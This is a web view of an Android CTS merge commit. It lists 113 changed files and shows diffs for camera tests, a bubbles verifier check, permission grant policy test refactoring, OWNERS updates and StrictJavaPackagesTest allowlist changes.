summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorAndroid Build Coastguard Worker <android-build-coastguard-worker@google.com>2022-09-12 16:55:35 +0000
committerAndroid Build Coastguard Worker <android-build-coastguard-worker@google.com>2022-09-12 16:55:35 +0000
commitc7eb56a57499675e067d8ff9f4b80590858fcb04 (patch)
treecc0d736b1558e7471c41a90803d984b69bff2315
parentd312be3c9830554eec770a9c32d5a1ab9f608582 (diff)
parentafdd820a2dfc46a2b53ecd49ea263994d37547b5 (diff)
downloadcts-android13-mainline-appsearch-release.tar.gz
Snap for 9052600 from afdd820a2dfc46a2b53ecd49ea263994d37547b5 to mainline-appsearch-releaseaml_ase_331311020aml_ase_331112000android13-mainline-appsearch-release
Change-Id: Ia914feba46020acb462d0e7a595c1297da7fc4c6
-rw-r--r--apps/CameraITS/tests/scene2_a/test_auto_flash.py3
-rw-r--r--apps/CameraITS/tests/scene6/test_zoom.py6
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java2
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/notifications/BubblesVerifierActivity.java12
-rw-r--r--common/device-side/util-axt/OWNERS2
-rw-r--r--common/device-side/util-axt/src/com/android/compatibility/common/util/BaseDefaultPermissionGrantPolicyTest.java85
-rw-r--r--common/device-side/util/OWNERS2
-rw-r--r--hostsidetests/appcompat/strictjavapackages/src/android/compat/sjp/cts/StrictJavaPackagesTest.java38
-rw-r--r--hostsidetests/edi/OWNERS7
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/Bug_237291548.java66
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0441.java51
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39704.java57
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39707.java74
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39808.java51
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20007.java2
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20197.java71
-rw-r--r--hostsidetests/securitybulletin/test-apps/BUG-237291548/Android.bp64
-rw-r--r--hostsidetests/securitybulletin/test-apps/BUG-237291548/AndroidManifest.xml39
-rw-r--r--hostsidetests/securitybulletin/test-apps/BUG-237291548/src/android/security/cts/BUG_237291548/DeviceTest.java60
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0441/Android.bp39
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0441/AndroidManifest.xml35
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0441/res/layout/activity_main.xml26
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0441/res/values/integers.xml22
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0441/res/values/strings.xml30
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0441/src/android/security/cts/CVE_2021_0441/DeviceTest.java101
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0441/src/android/security/cts/CVE_2021_0441/PocActivity.java55
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-39704/Android.bp38
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-39704/AndroidManifest.xml40
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-39704/res/values/integers.xml24
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-39704/res/values/strings.xml27
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-39704/src/android/security/cts/CVE_2021_39704/DeviceTest.java85
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-39704/src/android/security/cts/CVE_2021_39704/PocActivity.java59
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-39704/src/android/security/cts/CVE_2021_39704/PocService.java103
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-39707/Android.bp39
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-39707/AndroidManifest.xml38
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-39707/res/values/strings.xml27
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-39707/src/android/security/cts/CVE_2021_39707/DeviceTest.java106
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-39707/src/android/security/cts/CVE_2021_39707/PocActivity.java25
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-39707/src/android/security/cts/CVE_2021_39707/PocReceiver.java41
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-39808/Android.bp38
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-39808/AndroidManifest.xml30
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-39808/res/values/integers.xml27
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-39808/res/values/strings.xml35
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-39808/src/android/security/cts/CVE_2021_39808/DeviceTest.java82
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-39808/src/android/security/cts/CVE_2021_39808/PocService.java137
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2022-20007/attacker-app/AndroidManifest.xml2
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2022-20007/attacker-app/src/android/security/cts/CVE_2022_20007_attacker/PocAttackerActivity.java (renamed from hostsidetests/securitybulletin/test-apps/CVE-2022-20007/attacker-app/src/android/security/cts/CVE_2022_20007_attacker/PocActivity.java)2
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/Android.bp33
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/AndroidManifest.xml32
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/res/layout/activity_main.xml25
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/res/values/integers.xml21
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/res/values/strings.xml22
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/src/android/security/cts/CVE_2022_20007_second/SecondPocActivity.java57
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/Android.bp1
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/AndroidManifest.xml4
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/res/values/integers.xml5
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/res/values/strings.xml14
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/DeviceTest.java150
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/FirstPocActivity.java (renamed from hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/PocActivity.java)30
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/PocMainActivity.java65
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2022-20197/Android.bp38
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2022-20197/AndroidManifest.xml24
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2022-20197/res/values/strings.xml21
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2022-20197/src/android/security/cts/CVE_2022_20197/DeviceTest.java49
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2022-20223/res/values/strings.xml6
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2022-20223/src/android/security/cts/CVE_2022_20223/DeviceTest.java89
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2022-20223/src/android/security/cts/CVE_2022_20223/PocBroadcastReceiver.java19
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2022-20347/src/android/security/cts/CVE_2022_20347/DeviceTest.java49
-rw-r--r--hostsidetests/statsdatom/src/android/cts/statsdatom/appops/AppOpsTests.java13
-rw-r--r--tests/PhotoPicker/TEST_MAPPING10
-rw-r--r--tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerCrossProfileTest.java2
-rw-r--r--tests/PhotoPicker/src/android/photopicker/cts/RemoteVideoPreviewTest.java114
-rw-r--r--tests/camera/src/android/hardware/camera2/cts/CameraManagerTest.java31
-rw-r--r--tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java2
-rw-r--r--tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayActivityLaunchTests.java22
-rw-r--r--tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java4
-rw-r--r--tests/inputmethod/src/android/view/inputmethod/cts/StylusHandwritingTest.java15
-rw-r--r--tests/location/location_none/src/android/location/cts/none/LocationDisabledAppOpsTest.java13
-rw-r--r--tests/media/src/android/mediav2/cts/CodecDecoderSurfaceTest.java4
-rw-r--r--tests/media/src/android/mediav2/cts/CodecInfoTest.java3
-rw-r--r--tests/media/src/android/mediav2/cts/CodecTestBase.java423
-rw-r--r--tests/media/src/android/mediav2/cts/DecoderHDRInfoTest.java96
-rw-r--r--tests/media/src/android/mediav2/cts/EncoderHDRInfoTest.java192
-rw-r--r--tests/ondevicepersonalization/src/android/ondevicepersonalization/cts/OnDevicePersonalizationServiceTest.java8
-rw-r--r--tests/tests/hardware/src/android/hardware/cts/DataSpaceTest.java10
-rw-r--r--tests/tests/media/decoder/src/android/media/decoder/cts/DecodeAccuracyTestBase.java4
-rw-r--r--tests/tests/media/decoder/src/android/media/decoder/cts/DecoderTestAacFormat.java10
-rw-r--r--tests/tests/media/decoder/src/android/media/decoder/cts/NativeDecoderTest.java75
-rw-r--r--tests/tests/media/misc/AndroidTest.xml2
-rw-r--r--tests/tests/media/misc/DynamicConfig.xml2
-rwxr-xr-xtests/tests/media/misc/copy_media.sh2
-rw-r--r--tests/tests/media/misc/src/android/media/misc/cts/WorkDir.java2
-rw-r--r--tests/tests/media/player/src/android/media/player/cts/MediaPlayerFlakyNetworkTest.java1
-rw-r--r--tests/tests/os/src/android/os/cts/AutoRevokeTest.kt4
-rw-r--r--tests/tests/permission/src/android/permission/cts/AccessibilityPrivacySourceTest.kt24
-rw-r--r--tests/tests/permission/src/android/permission/cts/BaseNotificationListenerCheckTest.java2
-rw-r--r--tests/tests/permission/src/android/permission/cts/NotificationListenerCheckTest.java19
-rw-r--r--tests/tests/permission/src/android/permission/cts/SafetyCenterUtils.kt10
-rw-r--r--tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java5
-rw-r--r--tests/tests/permission4/src/android/permission4/cts/CameraMicIndicatorsPermissionTest.kt29
-rw-r--r--tests/tests/security/aidl/android/security/cts/IBitmapService.aidl1
-rw-r--r--tests/tests/security/src/android/security/cts/BitmapService.java5
-rw-r--r--tests/tests/security/src/android/security/cts/BitmapTest.java10
-rw-r--r--tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java8
-rw-r--r--tests/tests/telephonyprovider/src/android/telephonyprovider/cts/MmsPartTest.java16
-rw-r--r--tests/tests/view/AndroidManifest.xml1
-rw-r--r--tests/tests/view/res/values/themes.xml4
-rw-r--r--tests/tests/widget/res/layout/numberpicker_layout.xml3
-rw-r--r--tests/tests/widget/src/android/widget/cts/NumberPickerTest.java4
-rw-r--r--tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java21
-rw-r--r--tests/uwb/src/android/uwb/cts/RangingSessionTest.java637
-rw-r--r--tests/uwb/src/android/uwb/cts/UwbManagerTest.java37
-rw-r--r--tools/cts-tradefed/OWNERS5
113 files changed, 3378 insertions, 1286 deletions
diff --git a/apps/CameraITS/tests/scene2_a/test_auto_flash.py b/apps/CameraITS/tests/scene2_a/test_auto_flash.py
index c00cd5c358c..9111e80879a 100644
--- a/apps/CameraITS/tests/scene2_a/test_auto_flash.py
+++ b/apps/CameraITS/tests/scene2_a/test_auto_flash.py
@@ -184,8 +184,7 @@ class AutoFlashTest(its_base_test.ItsBaseTest):
logging.debug('AE_STATE (cap): %s', ae_state)
flash_state = FLASH_STATES[metadata['android.flash.state']]
logging.debug('FLASH_STATE: %s', flash_state)
- # FLASH_REQUIRED and FLASH_FIRED
- if ae_state == 'FLASH_REQUIRED' and flash_state == 'FLASH_STATE_FIRED':
+ if flash_state == 'FLASH_STATE_FIRED':
logging.debug('Flash fired')
flash_fired = True
flash_exp_x_iso = exp*iso
diff --git a/apps/CameraITS/tests/scene6/test_zoom.py b/apps/CameraITS/tests/scene6/test_zoom.py
index c1f4dff1d6d..32b9927cc1c 100644
--- a/apps/CameraITS/tests/scene6/test_zoom.py
+++ b/apps/CameraITS/tests/scene6/test_zoom.py
@@ -234,8 +234,10 @@ class ZoomTest(its_base_test.ItsBaseTest):
test_tols, size = get_test_tols_and_cap_size(
cam, props, self.chart_distance, debug)
else:
- fl = props['android.lens.info.availableFocalLengths'][0]
- test_tols = {fl: (RADIUS_RTOL, OFFSET_RTOL)}
+ test_tols = {}
+ fls = props['android.lens.info.availableFocalLengths']
+ for fl in fls:
+ test_tols[fl] = (RADIUS_RTOL, OFFSET_RTOL)
yuv_size = capture_request_utils.get_largest_yuv_format(props)
size = [yuv_size['width'], yuv_size['height']]
logging.debug('capture size: %s', str(size))
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java
index 106bd0b2ab6..1ac6b0f67e8 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java
@@ -2133,7 +2133,7 @@ public class ItsService extends Service implements SensorEventListener {
int fileFormat = MediaRecorder.OutputFormat.DEFAULT;
String outputFilePath = getOutputMediaFile(cameraDeviceId, videoSize,
- /* quality= */"preview", fileFormat, /* stabilized= */ true);
+ /* quality= */"preview", fileFormat, stabilize);
assert outputFilePath != null;
mMediaRecorder = new MediaRecorder(this);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BubblesVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BubblesVerifierActivity.java
index d22f0265abb..80aab50a28b 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BubblesVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BubblesVerifierActivity.java
@@ -93,6 +93,7 @@ public class BubblesVerifierActivity extends PassFailButtons.Activity {
private int mCurrentTestIndex = -1; // gets incremented first time
private int mStepFailureCount = 0;
private boolean mShowingSummary = false;
+ private boolean mSupportsBubble = false;
private Handler mHandler = new Handler();
private Runnable mRunnable;
@@ -150,11 +151,18 @@ public class BubblesVerifierActivity extends PassFailButtons.Activity {
});
ActivityManager am = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
+
+ try {
+ mSupportsBubble = getResources().getBoolean(getResources().getIdentifier(
+ "config_supportsBubble", "bool", "android"));
+ } catch (Resources.NotFoundException e) {
+ // Assume device does not support bubble, no need to do anything.
+ }
+
if (am.isLowRamDevice()) {
// Bubbles don't occur on low ram, instead they just show as notifs so test that
mTests.add(new LowRamBubbleTest());
- } else if (!Resources.getSystem()
- .getBoolean(com.android.internal.R.bool.config_supportsBubble)) {
+ } else if (!mSupportsBubble) {
// Bubbles don't occur on bubble disabled devices, only test notifications.
mTests.add(new BubbleDisabledTest());
} else {
diff --git a/common/device-side/util-axt/OWNERS b/common/device-side/util-axt/OWNERS
index 55fc0778dca..c7a387cf9ea 100644
--- a/common/device-side/util-axt/OWNERS
+++ b/common/device-side/util-axt/OWNERS
@@ -1,2 +1,2 @@
-per-file Android.bp=guangzhu@google.com, fdeng@google.com, moonk@google.com, jdesprez@google.com, aaronholden@google.com, yuji@google.com, nickrose@google.com, felipeal@google.com, eugenesusla@google.com, svetoslavganov@google.com
+per-file Android.bp=guangzhu@google.com, fdeng@google.com, moonk@google.com, jdesprez@google.com, felipeal@google.com, eugenesusla@google.com, svetoslavganov@google.com
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/BaseDefaultPermissionGrantPolicyTest.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/BaseDefaultPermissionGrantPolicyTest.java
index 41a38d4f18d..f8b24fdd4d9 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/BaseDefaultPermissionGrantPolicyTest.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/BaseDefaultPermissionGrantPolicyTest.java
@@ -18,6 +18,9 @@ package com.android.compatibility.common.util;
import static android.content.pm.PermissionInfo.PROTECTION_DANGEROUS;
+import static com.android.compatibility.common.util.BaseDefaultPermissionGrantPolicyTest.UidState.FixedState.FIXED;
+import static com.android.compatibility.common.util.BaseDefaultPermissionGrantPolicyTest.UidState.FixedState.NOT_FIXED;
+import static com.android.compatibility.common.util.BaseDefaultPermissionGrantPolicyTest.UidState.FixedState.SUPER_FIXED;
import static com.android.compatibility.common.util.SystemUtil.callWithShellPermissionIdentity;
import static org.junit.Assert.fail;
@@ -150,14 +153,14 @@ public abstract class BaseDefaultPermissionGrantPolicyTest extends BusinessLogic
* @param permissions the set of permissions, formatted "permission_name fixed_boolean"
*/
public void setException(String pkg, String sha256, String... permissions) {
- HashMap<String, Boolean> permissionsMap = new HashMap<>();
+ HashMap<String, UidState.FixedState> permissionsMap = new HashMap<>();
for (String permissionString : permissions) {
String[] parts = permissionString.trim().split("\\s+");
if (parts.length != 2) {
Log.e(LOG_TAG, "Unable to parse remote exception permission: " + permissionString);
return;
}
- permissionsMap.put(parts[0], Boolean.valueOf(parts[1]));
+ permissionsMap.put(parts[0], Boolean.valueOf(parts[1]) ? FIXED : NOT_FIXED);
}
mRemoteExceptions.add(new DefaultPermissionGrantException(pkg, sha256, permissionsMap));
}
@@ -174,14 +177,14 @@ public abstract class BaseDefaultPermissionGrantPolicyTest extends BusinessLogic
*/
public void setExceptionWithMetadata(String company, String metadata, String pkg,
String sha256, String... permissions) {
- HashMap<String, Boolean> permissionsMap = new HashMap<>();
+ HashMap<String, UidState.FixedState> permissionsMap = new HashMap<>();
for (String permissionString : permissions) {
String[] parts = permissionString.trim().split("\\s+");
if (parts.length != 2) {
Log.e(LOG_TAG, "Unable to parse remote exception permission: " + permissionString);
return;
}
- permissionsMap.put(parts[0], Boolean.valueOf(parts[1]));
+ permissionsMap.put(parts[0], Boolean.valueOf(parts[1]) ? FIXED : NOT_FIXED);
}
mRemoteExceptions.add(new DefaultPermissionGrantException(
company, metadata, pkg, sha256, permissionsMap));
@@ -378,9 +381,9 @@ public abstract class BaseDefaultPermissionGrantPolicyTest extends BusinessLogic
}
List<String> requestedPermissions = Arrays.asList(packageInfo.requestedPermissions);
- for (Map.Entry<String, Boolean> entry : exception.permissions.entrySet()) {
+ for (Map.Entry<String, UidState.FixedState> entry : exception.permissions.entrySet()) {
String permission = entry.getKey();
- Boolean fixed = entry.getValue();
+ UidState.FixedState fixed = entry.getValue();
if (!requestedPermissions.contains(permission)) {
Log.w(LOG_TAG, "Permission " + permission + " not requested by: " + packageName);
continue;
@@ -512,8 +515,8 @@ public abstract class BaseDefaultPermissionGrantPolicyTest extends BusinessLogic
}
appendPackagePregrantedPerms(pkg, "split from non-dangerous permission "
- + permission, false, Collections.singleton(extendedPerm),
- outUidStates);
+ + permission, NOT_FIXED,
+ Collections.singleton(extendedPerm), outUidStates);
}
}
}
@@ -544,7 +547,7 @@ public abstract class BaseDefaultPermissionGrantPolicyTest extends BusinessLogic
}
appendPackagePregrantedPerms(pkg, "permission " + permissionToAdd
- + " is granted to pre-" + targetSdk + " apps", false,
+ + " is granted to pre-" + targetSdk + " apps", NOT_FIXED,
Collections.singleton(permissionToAdd), outUidStates);
}
}
@@ -553,6 +556,13 @@ public abstract class BaseDefaultPermissionGrantPolicyTest extends BusinessLogic
public static void appendPackagePregrantedPerms(PackageInfo packageInfo, String reason,
boolean fixed, Set<String> pregrantedPerms, SparseArray<UidState> outUidStates) {
+ appendPackagePregrantedPerms(packageInfo, reason, fixed ? FIXED : NOT_FIXED,
+ pregrantedPerms, outUidStates);
+ }
+
+ public static void appendPackagePregrantedPerms(PackageInfo packageInfo, String reason,
+ UidState.FixedState fixed, Set<String> pregrantedPerms,
+ SparseArray<UidState> outUidStates) {
final int uid = packageInfo.applicationInfo.uid;
UidState uidState = outUidStates.get(uid);
if (uidState == null) {
@@ -621,8 +631,9 @@ public abstract class BaseDefaultPermissionGrantPolicyTest extends BusinessLogic
setPermissionGrantState(packageInfo.packageName, permission, false);
+ UidState.FixedState fixedState = uidState.grantedPermissions.valueAt(i);
Boolean fixed = grantAsFixedPackageNames.contains(packageInfo.packageName)
- || uidState.grantedPermissions.valueAt(i);
+ || fixedState == SUPER_FIXED || fixedState == FIXED;
// Weaker grant is fine, e.g. not-fixed instead of fixed.
if (!fixed && packageManager.checkPermission(permission, packageInfo.packageName)
@@ -702,9 +713,9 @@ public abstract class BaseDefaultPermissionGrantPolicyTest extends BusinessLogic
public class GrantReason {
public final String reason;
public final boolean override;
- public final Boolean fixed;
+ public final FixedState fixed;
- GrantReason(String reason, boolean override, Boolean fixed) {
+ GrantReason(String reason, boolean override, FixedState fixed) {
this.reason = reason;
this.override = override;
this.fixed = fixed;
@@ -726,10 +737,34 @@ public abstract class BaseDefaultPermissionGrantPolicyTest extends BusinessLogic
}
}
+ /**
+ * Enum representing if a permission's pregrant condition should be fixed and how it should
+ * interact with other pregrant conditions' fixed status.
+ */
+ public enum FixedState {
+
+ /**
+ * Permission is fixed and when merging with other pregrant conditions it won't lose
+ * fixed status and will override non-fixed status.
+ */
+ SUPER_FIXED,
+
+ /**
+ * Permission is fixed and when merging with other pregrant conditions it may lose
+ * fixed status.
+ */
+ FIXED,
+
+ /**
+ * Permission is not fixed.
+ */
+ NOT_FIXED
+ }
+
// packageName -> permission -> [reason]
public ArrayMap<String, ArrayMap<String, ArraySet<GrantReason>>> mGrantReasons =
new ArrayMap<>();
- public ArrayMap<String, Boolean> grantedPermissions = new ArrayMap<>();
+ public ArrayMap<String, FixedState> grantedPermissions = new ArrayMap<>();
public void log() {
for (String packageName : mGrantReasons.keySet()) {
@@ -781,7 +816,7 @@ public abstract class BaseDefaultPermissionGrantPolicyTest extends BusinessLogic
}
public void addGrantedPermission(String packageName, String reason, String permission,
- Boolean fixed) {
+ FixedState fixed) {
Context context = getInstrumentation().getTargetContext();
// Add permissions split off from the permission to granted
@@ -800,12 +835,12 @@ public abstract class BaseDefaultPermissionGrantPolicyTest extends BusinessLogic
}
public void overrideGrantedPermission(String packageName, String reason, String permission,
- Boolean fixed) {
+ FixedState fixed) {
mergeGrantedPermission(packageName, reason, permission, fixed, true);
}
public void mergeGrantedPermission(String packageName, String reason, String permission,
- Boolean fixed, boolean override) {
+ FixedState fixed, boolean override) {
if (!mGrantReasons.containsKey(packageName)) {
mGrantReasons.put(packageName, new ArrayMap<>());
}
@@ -817,18 +852,22 @@ public abstract class BaseDefaultPermissionGrantPolicyTest extends BusinessLogic
mGrantReasons.get(packageName).get(permission).add(new GrantReason(reason, override,
fixed));
- Boolean oldFixed = grantedPermissions.get(permission);
+ FixedState oldFixed = grantedPermissions.get(permission);
if (oldFixed == null) {
grantedPermissions.put(permission, fixed);
} else {
- if (override) {
- if (oldFixed == Boolean.FALSE && fixed == Boolean.TRUE) {
+ if (oldFixed != SUPER_FIXED && fixed == SUPER_FIXED) {
+ Log.w(LOG_TAG, "override already granted permission " + permission + "("
+ + fixed + ") for " + packageName);
+ grantedPermissions.put(permission, fixed);
+ } else if (override) {
+ if (oldFixed == NOT_FIXED && fixed == FIXED) {
Log.w(LOG_TAG, "override already granted permission " + permission + "("
+ fixed + ") for " + packageName);
grantedPermissions.put(permission, fixed);
}
} else {
- if (oldFixed == Boolean.TRUE && fixed == Boolean.FALSE) {
+ if (oldFixed == FIXED && fixed == NOT_FIXED) {
Log.w(LOG_TAG, "add already granted permission " + permission + "("
+ fixed + ") to " + packageName);
grantedPermissions.put(permission, fixed);
@@ -846,20 +885,20 @@ public abstract class BaseDefaultPermissionGrantPolicyTest extends BusinessLogic
public String pkg;
public String sha256;
public boolean hasBrand; // in rare cases, brand will be specified instead of SHA256 hash
- public Map<String, Boolean> permissions = new HashMap<>();
+ public Map<String, UidState.FixedState> permissions = new HashMap<>();
public boolean hasNonBrandSha256() {
return !sha256.isEmpty() && !hasBrand;
}
public DefaultPermissionGrantException(String pkg, String sha256,
- Map<String, Boolean> permissions) {
+ Map<String, UidState.FixedState> permissions) {
this(UNSET_PLACEHOLDER, UNSET_PLACEHOLDER, pkg, sha256, permissions);
}
public DefaultPermissionGrantException(String company, String metadata, String pkg,
String sha256,
- Map<String, Boolean> permissions) {
+ Map<String, UidState.FixedState> permissions) {
this.company = company;
this.metadata = metadata;
this.pkg = pkg;
diff --git a/common/device-side/util/OWNERS b/common/device-side/util/OWNERS
index b61fd53957d..aa5c93ef36a 100644
--- a/common/device-side/util/OWNERS
+++ b/common/device-side/util/OWNERS
@@ -1,2 +1,2 @@
-per-file Android.bp=guangzhu@google.com, fdeng@google.com, moonk@google.com, jdesprez@google.com, aaronholden@google.com, yuji@google.com, nickrose@google.com, felipeal@google.com
+per-file Android.bp=guangzhu@google.com, fdeng@google.com, moonk@google.com, jdesprez@google.com, felipeal@google.com
diff --git a/hostsidetests/appcompat/strictjavapackages/src/android/compat/sjp/cts/StrictJavaPackagesTest.java b/hostsidetests/appcompat/strictjavapackages/src/android/compat/sjp/cts/StrictJavaPackagesTest.java
index fd0b4450868..da41f95ef30 100644
--- a/hostsidetests/appcompat/strictjavapackages/src/android/compat/sjp/cts/StrictJavaPackagesTest.java
+++ b/hostsidetests/appcompat/strictjavapackages/src/android/compat/sjp/cts/StrictJavaPackagesTest.java
@@ -230,8 +230,16 @@ public class StrictJavaPackagesTest extends BaseHostJUnit4Test {
"Landroid/os/BlockUntrustedTouchesMode;",
"Landroid/os/IInputConstants;",
"Landroid/os/InputEventInjectionResult;",
- "Landroid/os/InputEventInjectionSync;"
-
+ "Landroid/os/InputEventInjectionSync;",
+ // TODO(b/242741880): Remove duplication between sdksandbox-service and
+ // sdk-sandbox-framework
+ "Landroid/app/sdksandbox/ILoadSdkCallback;",
+ "Landroid/app/sdksandbox/IRequestSurfacePackageCallback;",
+ "Landroid/app/sdksandbox/ISdkSandboxManager;",
+ "Landroid/app/sdksandbox/ISdkSandboxProcessDeathCallback;",
+ "Landroid/app/sdksandbox/ISendDataCallback;",
+ "Landroid/app/sdksandbox/ISharedPreferencesSyncCallback;",
+ "Landroid/app/sdksandbox/ISdkToServiceCallback;"
);
private static final String FEATURE_WEARABLE = "android.hardware.type.watch";
@@ -725,9 +733,15 @@ public class StrictJavaPackagesTest extends BaseHostJUnit4Test {
private static final ImmutableSet<String> ADSERVICES_SANDBOX_APK_IN_APEX_BURNDOWN_LIST =
ImmutableSet.of(
// /apex/com.android.adservices/javalib/service-sdksandbox.jar
+ "Landroid/app/sdksandbox/ISharedPreferencesSyncCallback;",
+ "Lcom/android/sdksandbox/IDataReceivedCallback;",
+ "Lcom/android/sdksandbox/ILoadSdkInSandboxCallback;",
+ "Lcom/android/sdksandbox/IRequestSurfacePackageFromSdkCallback;",
"Lcom/android/sdksandbox/ISdkSandboxManagerToSdkSandboxCallback;",
"Lcom/android/sdksandbox/ISdkSandboxService;",
- "Lcom/android/sdksandbox/ISdkSandboxToSdkSandboxManagerCallback;"
+ "Lcom/android/sdksandbox/SandboxLatencyInfo-IA;",
+ "Lcom/android/sdksandbox/SandboxLatencyInfo;",
+ "Lcom/android/sdksandbox/IUnloadSdkCallback;"
);
private static final ImmutableMap<String, ImmutableSet<String>> FULL_APK_IN_APEX_BURNDOWN =
@@ -1043,7 +1057,9 @@ public class StrictJavaPackagesTest extends BaseHostJUnit4Test {
* and shared library jars.
*/
@Test
- public void testBootClasspathAndSystemServerClasspathAndSharedLibs_noAndroidxDependencies() {
+ public void testBootClasspathAndSystemServerClasspathAndSharedLibs_noAndroidxDependencies()
+ throws Exception {
+ assumeTrue(mDeviceSdkLevel.isDeviceAtLeastT());
// WARNING: Do not add more exceptions here, no androidx should be in bootclasspath.
// See go/androidx-api-guidelines#module-naming for more details.
final ImmutableMap<String, ImmutableSet<String>>
@@ -1087,11 +1103,12 @@ public class StrictJavaPackagesTest extends BaseHostJUnit4Test {
.reduce(Stream::concat).orElseGet(Stream::empty)
.parallel()
.filter(jarPath -> {
- return sJarsToFiles
- .get(jarPath)
- .stream()
- .anyMatch(file -> file.contains(".kotlin_builtins")
- || file.contains(".kotlin_module"));
+ // Exclude shared library apks.
+ return jarPath.endsWith(".jar")
+ && sJarsToFiles.get(jarPath)
+ .stream()
+ .anyMatch(file -> file.contains(".kotlin_builtins")
+ || file.contains(".kotlin_module"));
})
.collect(ImmutableList.toImmutableList());
assertThat(kotlinFiles).isEmpty();
@@ -1102,7 +1119,8 @@ public class StrictJavaPackagesTest extends BaseHostJUnit4Test {
* included in BOOTCLASSPATH, SYSTEMSERVERCLASSPATH and shared library jars
*/
@Test
- public void testNoProtobufClassesWithoutJarjar() {
+ public void testNoProtobufClassesWithoutJarjar() throws Exception {
+ assumeTrue(mDeviceSdkLevel.isDeviceAtLeastU());
assertWithMessage("Classes from protobuf libraries must not be included in bootclasspath "
+ "and systemserverclasspath without being jarjared.")
.that(Stream.of(sBootclasspathJars.stream(),
